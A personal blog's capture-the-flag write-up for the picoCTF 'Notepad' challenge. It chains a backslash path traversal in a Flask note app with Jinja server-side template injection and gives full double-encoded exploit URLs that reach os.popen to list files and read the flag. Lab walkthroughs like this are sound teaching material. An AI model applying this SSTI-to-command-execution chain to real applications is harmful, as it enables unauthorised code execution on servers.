Menu Home

PicoCTF – Notepad

Introduction:

Hi Hackers,

It’s been a minute… hmm, actually, more like a year or so, but who’s remembering? My blog has been sitting here collecting dust as f**k like an old book you swear you’ll read it tomorrow. Well, today’s is the day and I’ve got a new article for you 🥳

To get back into the rhythm, I decided to warm up with a fun picoCTF challenge called Notepad. In this article, I’ll share my full methodology and how I managed to solve it, with all the little discoveries along the way.

Let’s dust off this blog and jump right in!

The challenge:

Super simple ! you have to write something and submit it. What it does, it generates a file containing the content you submitted and it redirects you to it. The difficulty mentioned for this challenge is HARD and the only hint is “This note-taking site seems a bit off.

The funny thing is, when I solved the challenge and read the available write-ups, my approach was kind of weird. I took another path totally different. I used my modest knowledge in SSTI (Server Side Template Injection) and tried to find a way to get the flag. My solution is a little bit long and complicated but that was really worth it ! 🤓

Source code

from werkzeug.urls import url_fix
from secrets import token_urlsafe
from flask import Flask, request, render_template, redirect, url_for

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html", error=request.args.get("error"))

@app.route("/new", methods=["POST"])
def create():
    content = request.form.get("content", "")
    if "_" in content or "/" in content:
        return redirect(url_for("index", error="bad_content"))
    if len(content) > 512:
        return redirect(url_for("index", error="long_content", len=len(content)))
    name = f"static/{url_fix(content[:128])}-{token_urlsafe(8)}.html"
    print(name)
    with open(name, "w") as f:
        f.write(content)
    return redirect(name)

if __name__ == "__main__":
    app.run(debug=True)

As you can see, this is a Flask app. Nothing special. The ‘/’ and ‘_’ are blocked. The filename that will be created is the first 128 character. It creates that filename and write the content in it.

The vulnerability:

In any hacking activity, the first step is always to do Reconnaissance, understanding how the application behaves so you can spot potential attack vectors. In this challenge, whenever a new file is created, the application automatically redirects us to that file. But if the file’s content contains forbidden characters (specifically '/' or '_'), the app instead redirects to the bad_content page.

This bad_content is just an html page that contains only plain text. In that template folder there an index.html that will include bad_page stored under templates/errors. In fact, the application has two error templates there: bad_content.html and long_content.html. When something goes wrong, the main index.html template includes one of these error pages and displays it to the user.

<!doctype html>
{% if error is not none %}
  <h3>
    error: {{ error }}
  </h3>
  {% include "errors/" + error + ".html" ignore missing %}
{% endif %}
<h2>make a new note</h2>
<form action="/new" method="POST">
  <textarea name="content"></textarea>
  <input type="submit">
</form>

When we see that sort of code, the first that comes to mind is SSTI (Server Side Template Injection). Pretty obvious Hein🧐 ?

So let’s think like a hacker, the app is generating files, so the Open() function could use a relative or absolute path, the question is could we put that file in another place ? Even if the ‘/’ is not allowed ? The answer is yes since the character “/” (slash) is forbidden and the “\” (Backslash) is the one forgotten that will let us perform a path traversal by putting the file in a place other than ‘static’ folder.

if "_" in content or "/" in content:
        return redirect(url_for("index", error="bad_content"))

P.S:

I saw many articles saying that the backslash normalization is done by “url_fix“function which is wrong. The normalization is made by an internal function in “werkzeug“. In Flask when you send “..\..\”it will become “../../” and is performed internally by a function called “url_unquote()”. Whether in Linux or Windows this will be normalized and this is where the vulnerability reside.

Attack scenario

What we understood until now is the file could be placed in another folder. How to do it ? Easy like that :

Submit path traversal
Not found because template in Flask cannot be served by design
The file was created.

The application cannot redirect us to the file created because it not created in static folder but was moved to “templates/errors” folder.

The question that comes after how to show the content of that file in our browser ?

As you know we can’t access the file directly since the Flask doesn’t serve templates folder from the browser.

SSTI Attack

So let’s explore more what this app offers. If we submit the “_” character we got this error:

Hey did you see what I see ? it seems bad_content is included somehow in this main page. If you remember in the code above this line precisely:

 {% include "errors/" + error + ".html" ignore missing %}

so it seems “bad_content” is the html page inside the errors folder. This means that we can inject our page created before instead of this.

So we are close to solve our challenge. This is an SSTI we are sure now ! Let’s think like a Hacker or are we already hackers ? 🤪

The question to ask is how to inject some sort of payload that can list the directory content ? There are lot of solutions but this is where magic happens ! Each one will find his own solution. There is no single payload. My approach was to understand how this vulnerability works and how maximize my learning from this. I think I took the long road here but it allows me to create my own solution which was worth it.

..\templates\errors\rce {{self[request.args.i]}}

The payload above will create a file named:

rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-1ALa3ZVKXes.html

Our string was encoded which is normal because it contains some special characters. What this payload does is refers to the current template object (TemplateReference) using self. request.args.i Reads the query parameter i from the HTTP request.

The next idea that you are thinking about is to inject this in error parameter right ? Let’s try this and see what happens.

Simply it doesn’t work ! Why then ? because of encoding and that’s where I took the long road to understand why.

Why Single Encoding fails:

The file created is already encoded in the disk so it’s name is literally encoded

rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ.html

When the apps redirects to it, the browser always decode before making the request and that’s why decoding the URL becomes:

/static/rce {{self[request.args.i]}}-XYZ.html

Which is not a valid path for finding the file.

So how double encoding fixes it ?

rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D

Submitting this, the browser will decode first the url which will become :

/static/rce%20%7B%7Bself%5Brequest.args.i%5D%7D%7D-XYZ

This matches the actual filename on disk. and it’s going to be rendered. We will add the parameter “i” with the value “_TemplateReference__context”

http://127.0.0.1:5000/?error=rce%2520%257B%257Bself%255Brequest.args.i%255D%257D%257D-1ALa3ZVKXes&i=_TemplateReference__context

Voila ! 😎

Now that we have control over the file creation, the next step is to extend our payload toward remote code execution (RCE). The ultimate goal, of course, is to retrieve the flag and complete the challenge.

The idea is to keep chaining parameters and expressions until we reach a context where an operating system command can be executed. This turned out to be trickier than expected, mainly because double encoding changes how payloads behave at each decoding layer. Many of the solutions I found online relied on similar techniques, but they didn’t work in my case due to these encoding constraints.

In the textarea, copy and paste this payload:

..\templates\errors\cmdRce {{self[request.args.i][request.args.j][request.args.f][request.args.l][request.args.m][request.args.n](request.args.cmd).read()}}

When executing this payload, mind the random value generated for the newly created file:

https://notepad.mars.picoctf.net/templates/errors/cmdRce%20%7B%7Bself%5Brequest.args.i%5D%5Brequest.args.j%5D%5Brequest.args.f%5D%5Brequest.args.l%5D%5Brequest.args.m%5D%5Brequest.args.n-Fk6bSZJmyis.html

In my case, the value generated for the file is:

Fk6bSZJmyis

After that, copy and paste this into the URL address bar. Change “Fk6bSZJmyis” with your value !

https://notepad.mars.picoctf.net/?error=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&i=_TemplateReference__context&j=cycler&f=__init__&l=__globals__&m=os&n=popen&cmd=ls

The result is like that and we can see our flag file

All we have to do now is do a “cat flag-c8f5526c-4122-4578-96de-d7dd27193798.txt” ☠

https://notepad.mars.picoctf.net/?error=cmdRce%2520%257B%257Bself%255Brequest.args.i%255D%255Brequest.args.j%255D%255Brequest.args.f%255D%255Brequest.args.l%255D%255Brequest.args.m%255D%255Brequest.args.n-Fk6bSZJmyis&i=_TemplateReference__context&j=cycler&f=__init__&l=__globals__&m=os&n=popen&cmd=cat%20flag-c8f5526c-4122-4578-96de-d7dd27193798.txt

Conclusion:

In this article, we walked through the inner workings of the Flask application, dissected how URL encoding and double encoding affect both filesystem and routing behavior. By chaining path traversal with a Server-Side Template Injection (SSTI), we demonstrated how what initially looks like a harmless file-creation feature can ultimately be escalated into full remote code execution.

This challenge is a great reminder that real world vulnerabilities are rarely caused by a single mistake. Instead, they emerge from small mistakes made at different layers, when combined, open the door to powerful exploits.

I hope this write-up helped clarify not only how the exploit works, but why it works. Thanks for reading, and see you in the next article for another deep dive into web security and CTF challenges.

Categories: Uncategorized

Tagged as:

Leave a Reply

Your email address will not be published. Required fields are marked *